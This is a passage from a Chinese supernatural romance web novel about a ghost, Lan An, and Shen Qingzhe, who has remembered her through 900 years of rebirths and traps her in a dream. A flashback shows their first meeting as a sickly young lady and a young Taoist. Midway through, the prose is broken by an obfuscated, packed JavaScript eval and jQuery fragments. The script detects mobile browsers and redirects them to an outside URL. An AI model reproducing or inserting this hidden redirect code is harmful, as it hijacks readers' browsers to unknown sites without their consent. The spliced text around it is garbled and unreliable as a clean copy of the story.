达格妮提醒蓝谙,“就算用器皿炼化,也只是破坏法器使梦境消失。沈青哲还会存在,但是他和身体里的鬼无法出去。”
蓝谙点头,“我留在这,想办法除去那只鬼。”
周围摇晃的火光窜起来,没有实质但在身上留下虚影。
“人都走了。”她和沈青哲隔着距离,琢磨着这只锯了嘴的葫芦,该说的一句不说。
头上的假发不知什么时候被他摘下来,颓然地坐在地上,看向蓝谙时因为虚弱,脑袋歪向一侧。
“这里是我自己的梦。鬼就在我的身体里,你要怎么杀了他。”他挣扎着从地上起来,“我配合你。”
“你那么信誓旦旦可以掌控一切,原来就是把自己搭进去。”语气称得上冷嘲热讽,“有什么必要呢?如果按我的计划大可不必这么麻烦。”
“你不说我自己选。”
蓝谙猛然掐上沈青哲的脖子,“你到底想干什么?”
沈青哲露出木然的笑,依然自说自话:“用火吧,最保险,以绝后患。”
蓝谙皱眉,她感觉出周围景物在变化,手中越来越轻,觉察到他要跑,深色触手包围上来,却还是让他消失掉。
再看清眼前的景物,沈青哲位于城堡远处支起的绞刑架上,周围蔓延着大量的月季枯树枝。
火光已经亮起来,蓝谙脸色剧变,撑起身体站起来时地上的枯枝划破表皮。
她急切地奔向沈青哲,霎时火焰在她面前冲天而起,逼退蓝谙的脚步,下意识向后倒在地上。
蓝谙看向自己的手,之前从沈青哲那儿收缴的铁钉刺穿手心。热浪扑着过来,蓝谙咬着牙隔开,无色水雾穿过花丛,卷上沈青哲身体。
“我果然是上辈子欠你的。”她拖着布料七零八碎的某人捱到一个小型水池旁,一同跳进去。
蓝谙所有力量来源于水,但她又非常厌恶水。皮肤上的所有伤口无所遁形,容貌些许变化,变成她一开始的样子。唯有手上的铁钉,蓝谙并没有取出来,能感觉到物体还在,却看不到摸不到。
沈青哲目光沉沉,在水里拉住愣怔的蓝谙。
下一秒完全陷入黑暗。
蓝谙如同溺水的人醒来,长时间闭气猛然找到呼吸,惊颤地大口喘气。眼前的景物恢复,身处一个虚无缥缈的地界,周围什么都没有,她正坐在一把椅子上,身上缠着十几条红线,另一端无限延伸并不知连接着哪里。红线不同位置挂着符纸和铃铛,外观和沈青哲在那个特殊的房间里布置的一样。
一时间脸上的表情精彩纷呈。看着跪在地上的某人,“你敢耍我?”
她一开始只觉得沈青哲在作死,是为了他自己的私心,暗恨他是个蠢货。现在那些东西都用在自己身上,还有手心的那枚铁钉,蓝谙看着手掌,它还在,仿佛某种禁制永远留在身体里。
一切都是他蓄意谋划的,故意和梦鬼做交易,故意递给她铁钉,故意不出去好让他们两个人都留在梦里。
蓝谙靠在椅背上,扯动红绳上的铃铛作响。“沈、沈郎?”
“你叫哪个沈郎?”
“你们不都是一个人吗?”蓝谙轻佻地看着,在这种情况下依然目光肆意,不见一点被挟制的局促。
一时安静,过了很久沈青哲才开口:“是,你说的对,我们是一个人。”
蓝谙本来无所谓的笑顿时僵住,渐渐的一点一点消失。
沈青哲抬起头露出那双眼睛,跪坐在地上,亦如双方最开始的模样,“我什么都记得。”
蓝谙盯着他摇头,又觉得不可能。距离两个人最开始相遇,已经过了900年。
沈青哲自嘲地笑,膝盖移动靠近蓝谙,“每一世,我什么都记得。一开始只以为是冥冥中的梦,以为是脑子有问题,直到在现实里真的遇见你,又觉得这可能就是天意。所以我把所有问题都藏起来,装作正常人一样。”
正常人。蓝谙忍不住皱眉,瘫坐在椅子上,看向地面。
沈青哲扒上蓝谙的膝盖,“可是每次你和我相处十载,便会忽然消失。”
“我不明白为什么?所以到老到死都在找你。
“后来我知道了,因为蓝小姐是鬼魅,死后反而得以相见。
“我相信你有不得已的苦衷。
“生前我从道观师傅那里求来驱邪的红绳,自己再调整制作,寄希望能找到你。可是拘魂的红绳存在多少次,你就剪了多少次。”
蓝谙发懵,“我不知道你记得……全部记得。你为什么从来不告诉我?”
“每次轮回后到某个节点那些记忆就会出现,新的人生总是希冀万一这次不同呢,等我反应过来那不是单纯的梦而是之前真实发生的事情,你已经跑了三五次。
“告诉你?我告诉你我记得那些事,你之后就再也不会出现。”
是,如果她知道,就再也不会和沈青哲牵扯在一起。
蓝谙下意识用指尖抿过沈青哲的眼泪,“没有道行的人长时间和鬼待在一起,身体会损耗,阳寿减少早早去世。我只是,只是希望你长命百岁。”
“可实际上你将我每一次人生都搅得天翻地覆。”沈青哲拉着蓝谙的双臂,“你这么高尚,为什么我每次靠近你你都没有严词拒绝,你觉得我好玩?你喜欢我?可是既然已经卑劣地越界了,为什么不一直卑劣下去。”
“我,对不起,”蓝谙陷入那些回忆里,“我不知道,那些执念,让你如此痛苦。”
“不是‘那些执念’的问题,是你为什么要跑,为什么要离开我?”
蓝谙这个状态不会哭,没什么眼泪,导致局面特别干,由此表现出来的态度更是一点一点刺激着沈青哲的神经。
蓝谙有所觉,慌忙抱住沈青哲的身体和他道歉。
“你还真是和最开始的样子一样,没怎么变。”沈青哲在耳边说。
最开始的样子?那要倒回到九百年前了。
蓝谙腹诽沈青哲到底是不是真的有记忆。几百年前的样子,她当时最会哭了,而沈青哲是一个端正古板的无名小道士,从来不会哭。
当初蓝谙身体不好,在蓝家的庄子上养病。小道士跟着师傅云游到此,受主家邀请,需要在庄子做一个月法事。
后来他师父有急事前往京师,留小道士把剩下的祈福仪式做完,并嘱咐他外面不太平,如果主家心善肯让他留下来,便让他待在庄子上给蓝小姐念经。
蓝谙的身体时好时坏,性子极其不安分。她最喜欢的就是来到庄子边上,看形形色色的人忙农活。偶尔有吃不上饭的小孩子注意到她,蓝谙便给他们撒些糠饼。那东西她屋子里的下人都不会吃,只是这些流民急需食物并不讲究,并对蓝谙感恩戴德。
后来流民越来越多,管事伙同佃户阻止他们靠近庄子。
蓝谙只在法事第一天见过小道士,后来嬷嬷让她待在院子里不要出去吹风,所以一直到月末她都没有去前院。
忽然有一天听到念经声,早晚时间规律,似乎是从院墙隔壁传来。
她悄悄爬上去看,那人认真极了,一脸严肃地对着自己的课业。
“小姐有什么吩咐?”沈青哲从蓝谙一出现就知道了。
蓝谙看了一会儿,“我让嬷嬷喊你每日过来念经,好不好?”
“小姐想听什么?我跟着师傅时间短,讲不好。”
“那就讲讲你云游时候遇见的事。”
蓝谙并不容人拒绝,顺着树爬下去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116118|188399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
之后小道士就日日带着课经过来。
“你太严肃了,”
小道士闻言合上经书。
“讲讲云游四方的见闻。”蓝谙吩咐道。
“小姐从京师过来,该见到的都见过了,其余地方要不在打仗,要不全是流民。”
蓝谙思索了两秒,“那就讲流民。”
蓝谙是不谙世事的小姐,因为所处的位置不一样,骨子里其实是看不起庶民的,但是又怀着扶危济世的虚伪正义感,说到关键处每每发表高见。
她又实在是个恶劣的人,提各种过分的要求戏弄他,沈青哲将对她的看法在心里一字一句码好,眼睛不知什么时候忍不住跟着蓝谙转。
日子一天天过去,两个月,两年,“你师父不会回来接你了。”蓝谙无聊翻起一本画册。
沈青哲已经习惯蓝谙言语里的玩笑,走过来,说:“你在看什么?”
蓝谙有很多书,京里主家怕她无聊,隔段时间也会送书,其中不乏一些奇闻异录。只是他走近看清楚后,还是惊讶了一瞬,下意识把书合上,对着蓝谙相顾无言。
“你从哪找来的?”还不是惯常见到的春宫图,是有关男子的。
实在不雅观。
“库房的箱底。我都拿过来了。”蓝谙回道。
沈青哲找到祸源,翻找,“我给你找些其他的。”
“另一种类型的我看过了。”
沈青哲愣怔地看着蓝谙,明白她在说什么无声失笑。
半晌才说,“你来日出阁才会用到这些。”
“我身体不好,加上天下到处都是战乱,京里也没提过这回事。而且我也不想结亲。”
沈青哲看到门外身影,“你这样说嬷嬷该训斥你了。”
可是蓝谙偏要看,当着沈青哲的面看,还要看一张瞟一眼沈青哲。
又过了几日,蓝谙看书看得心烦意乱,没有任何征兆地问沈青哲,“我怎么也忘不掉那些事,怎么办?”
“小姐看那些脏东西被吓到了,多练几篇帖子,”
“有道理,”他还没说完就被蓝谙打断,“可是我还没说我忘不掉什么,你怎么就知道我说的是什么?”
沈青哲低着头维持写字的动作。
“我被那东西吓到却还想着它,说明吓得太轻了,不如道长帮帮我,让我彻底绝了那个念头。”
这时候倒喊起道长了。
沈青哲知道她是故意的,平时帮她做风筝、倒茶、捡鞋子,他都无所谓,这件事……他看着蓝谙的眼睛,没应声。
蓝谙跪直上半身,凑近,“我想看看你,试一下是怎么一回事。”
沈青哲慌得后撤了一下,下意识咽了口唾沫。她不懂事,自己不能跟着胡闹。
“不行。小姐再闹我去告诉嬷嬷了。”
“你敢?”蓝谙拽着他的衣袖,“只要你不说出去,就没人知道。只是试一下。”说完又似乎泄气,“可是用什么工具啊。”
“那种事要两心欢喜才能做。”沈青哲说完就后悔了,这话衬得他仿佛引诱小姐的混小子。
“我现在心里都是你,每天都想见到你。”
沈青哲无话可说,看向屋外也被蓝谙拽回来。无奈道:“小姐没接触过什么外男。”
蓝谙闻言逐渐放手,沈青哲的心不知怎的也一步步往下落。
罢了,他想,蓝谙只是好奇心重,说不定见了会恶心便不提这茬。而且一切都作用在他身上,算不上对小姐的冒犯。只要他不说出去,便可以当没有这件事。
“沈青哲。”尾音拖了两节,好不委屈。
“我回去找些医书研究研究。”没说研究什么,沈青哲慌忙跑了。